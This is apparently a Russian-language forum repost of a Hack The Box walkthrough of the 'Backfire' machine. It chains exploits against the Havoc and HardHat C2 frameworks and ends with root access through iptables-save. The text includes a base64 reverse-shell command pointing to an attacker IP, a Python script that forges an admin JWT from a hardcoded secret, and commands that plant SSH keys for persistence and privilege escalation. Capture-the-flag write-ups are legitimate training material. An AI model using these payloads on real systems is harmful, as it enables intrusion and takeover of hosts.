• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем уязвимости в популярных C2-фреймворках

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этой статье я покажу, как уязвимости в C2-фреймворках Havoc и HardHat могут привести к компрометации хоста, на котором они развернуты. Для дальнейшего повышения привилегий мы используем способ перезаписи файлов командой sudo iptables.
Наша цель — получение прав суперпользователя на машине Backfire с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.49 backfire.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 9.2p1;
  • порты 443 и 8000 — веб‑сервер Nginx 1.22.1.
Также скан показывает, что корневой каталог сайта на порте 8000 не имеет индекс‑файла, а значит, нам доступно все содержимое каталога.

Содержимое корневого каталога на порте 8000
Содержимое корневого каталога на порте 8000

Точка входа​

В корневом каталоге два файла: какой‑то патч disable_tls.patch и файл профиля для C2-фреймворка Havoc havoc.yaotl. В файле профиля содержатся учетные данные для подключения к серверу C2.

Содержимое файла havoc.yaotl
Содержимое файла havoc.yaotl

Справка: C2-фреймворк​

C2-фреймворк (Command and Control, также С&C) — это программная платформа, которая используется для удаленного управления зараженными устройствами в инфраструктуре атакующего. Такие фреймворки обеспечивают каналы связи между оператором и скомпрометированными машинами, позволяя выполнять команды, загружать и скачивать файлы, собирать данные и управлять вредоносной активностью. Они широко применяются при тестировании на проникновение, кибершпионаже и атаках типа APT, предоставляя гибкий и часто модульный интерфейс для скрытого контроля над целевыми системами.
В репозитории Для просмотра ссылки Войди или Зарегистрируйся содержатся эксплоиты для некоторых C2-фреймворков, а подробное описание есть в Для просмотра ссылки Войди или Зарегистрируйся. Среди перечисленных фреймворков есть и используемый на сервере Havoc.

Содержимое репозитория
Содержимое репозитория

Эксплоит из репозитория позволяет получить RCE за счет уязвимости OS Command Injection в генераторе агента. Команда для сборки агента передается в командную оболочку /bin/sh на сервере Havoc, а имя службы задается через переменную окружения. Таким образом, если использовать нагрузку с реверс‑шеллом в качестве имени службы, можно получить возможность выполнить реверс‑шелл в командной строке.

Однако подключиться к C2 не выйдет, так как порт 40056 прослушивается только для адреса 127.0.0.1. При этом в патче подключение с использованием SSL заменяется обычным незащищенным соединением.

Содержимое файла disable_tls.patch
Содержимое файла disable_tls.patch

Однако в фреймворке есть еще одна уязвимость — SSRF, через которую мы можем достучаться до сервера C2 и проэксплуатировать RCE. Подробный анализ уязвимости SSRF можно посмотреть в Для просмотра ссылки Войди или Зарегистрируйся из блога chebuya. Мы же будем использовать уже готовый Для просмотра ссылки Войди или Зарегистрируйся.

В коде эксплоита заменим значение переменной cmd реверс‑шеллом, который сгенерируем на сайте Для просмотра ссылки Войди или Зарегистрируйся.

cmd = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS80MzIxIDA+JjE= | base64 -d | bash"
Исходный код эксплоита
Исходный код эксплоита

Сгенерированный реверс-шелл
Сгенерированный реверс‑шелл

Для работы скрипта доставим необходимые зависимости.

Код:
python3 -m venv venv
source venv/bin/activate
pip install websocket-client requests pycryptodome
Для ожидания соединения с реверс‑шеллом запустим листенер pwncat-cs -lp 4321. Когда все готово, запускаем эксплоит.

python3 CVE-2024-41570.py -t Для просмотра ссылки Войди или Зарегистрируйся -i 127.0.0.1 -p 40056 -U 'ilya' -P 'CobaltStr1keSuckz!'
Результат работы эксплоита
Результат работы эксплоита

Эксплоит автоматически достучался до сервера Havoc через SSRF, создал листенер, а потом сгенерировал агент для получения RCE.

Сессия пользователя ilya
Сессия пользователя ilya

Сессия быстро умирает, поэтому для закрепления на хосте сгенерируем пару ключей командой ssh-keygen и сохраним публичный ключ на сервере.

echo 'ssh-ed25519 AAAA.....urp hacker' > ~/.ssh/authorized_keys
Авторизуемся по SSH с приватным ключом и забираем пользовательский флаг.

Флаг пользователя
Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию, которая поможет повысить права. Для этого нужно проверить многие места в Linux, для чего я по традиции буду использовать скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт, дадим право на выполнение и запустим сканирование. Затем разберемся в том, что оно нам дало.

На рабочем столе есть какой‑то файл hardhat.txt.

Содержимое файла hardhat.txt
Содержимое файла hardhat.txt

От имени пользователя sergej запущены сервер и клиент C2-фреймворка Для просмотра ссылки Войди или Зарегистрируйся.

Дерево процессов
Дерево процессов
Среди активных портов есть типичные для HardHat 5000 и 7096.

Прослушиваемые порты
Прослушиваемые порты

Поищем, нет ли и в этом фреймворке известных уязвимостей.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Через Google выходим на статью «Для просмотра ссылки Войди или Зарегистрируйся», в которой описаны уязвимости обхода авторизации и последующая эксплуатация RCE в HardHat. Чтобы получить доступ к серверу HardHat, нужно прокинуть порты 5000 и 7096.

ssh -i id_rsa [EMAIL]ilya@10.10.11.49[/EMAIL] -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000
В результате весь трафик, который мы пошлем на локальные порты 5000 и 7096, будет туннелирован на соответствующие порты указанного хоста (в данном случае 127.0.0.1) через SSH-хост.

Страница авторизации HardHat C2
Страница авторизации HardHat C2

В конце статьи был эксплоит, установим свои переменные rhost и burp0_json. Затем установим pyjwt и выполним код для создания своего пользователя.

Код:
pip install pyjwt
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "ralf"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

Эксплуатация уязвимости обхода авторизации
Эксплуатация уязвимости обхода авторизации

Теперь можно авторизоваться от имени созданного пользователя.

Главная панель HardHat C2
Главная панель HardHat

C2
Теперь переходим к пункту меню ImplantInteract → Terminal и выполняем команду id.

Результат выполнения команды id
Результат выполнения команды id

Записываем пользователю sergej свой ключ SSH и авторизуемся по SSH.

Сессия пользователя sergej
Сессия пользователя sergej

Локальное повышение привилегий​

Разведку на хосте уже проводили, и со сменой пользователя в Linux мало что меняется. Но все же некоторые места нужно проверить заново. Одно из таких мест — настройки sudoers.

sudo -l
Настройки sudoers
Настройки sudoers

Наш пользователь может запустить команды /usr/sbin/iptables и /usr/sbin/iptables-save от имени рута. В базе GTFOBins по iptables ничего нет, попробуем поискать какие‑нибудь уязвимости в блогах.

Поиск путей LPE в Google
Поиск путей LPE в Google

По первой же Для просмотра ссылки Войди или Зарегистрируйся находим нужную нам информацию. В iptables правилам можно добавить комментарии, которые поддерживают символы перевода строк. При этом команда iptables-save может сохранить все текущие правила в произвольный файл.

Таким образом, используя функцию комментариев с переводом строк, мы можем создать такое правило, которое в новой строке будет содержать публичный SSH-ключ.

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4Ut1gVY7GnFY8dsp4ueaFVORzW7zyPqWoa/pydVurp X1\n'
Правила iptables
Правила iptables
А теперь сохраним все правила в файл /root/.ssh/authorized_keys.

sudo iptables-save -f /root/.ssh/authorized_keys
При авторизации по SSH с приватным ключом он будет соотнесен с записанным ранее публичным, и мы получим доступ от имени пользователя root.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу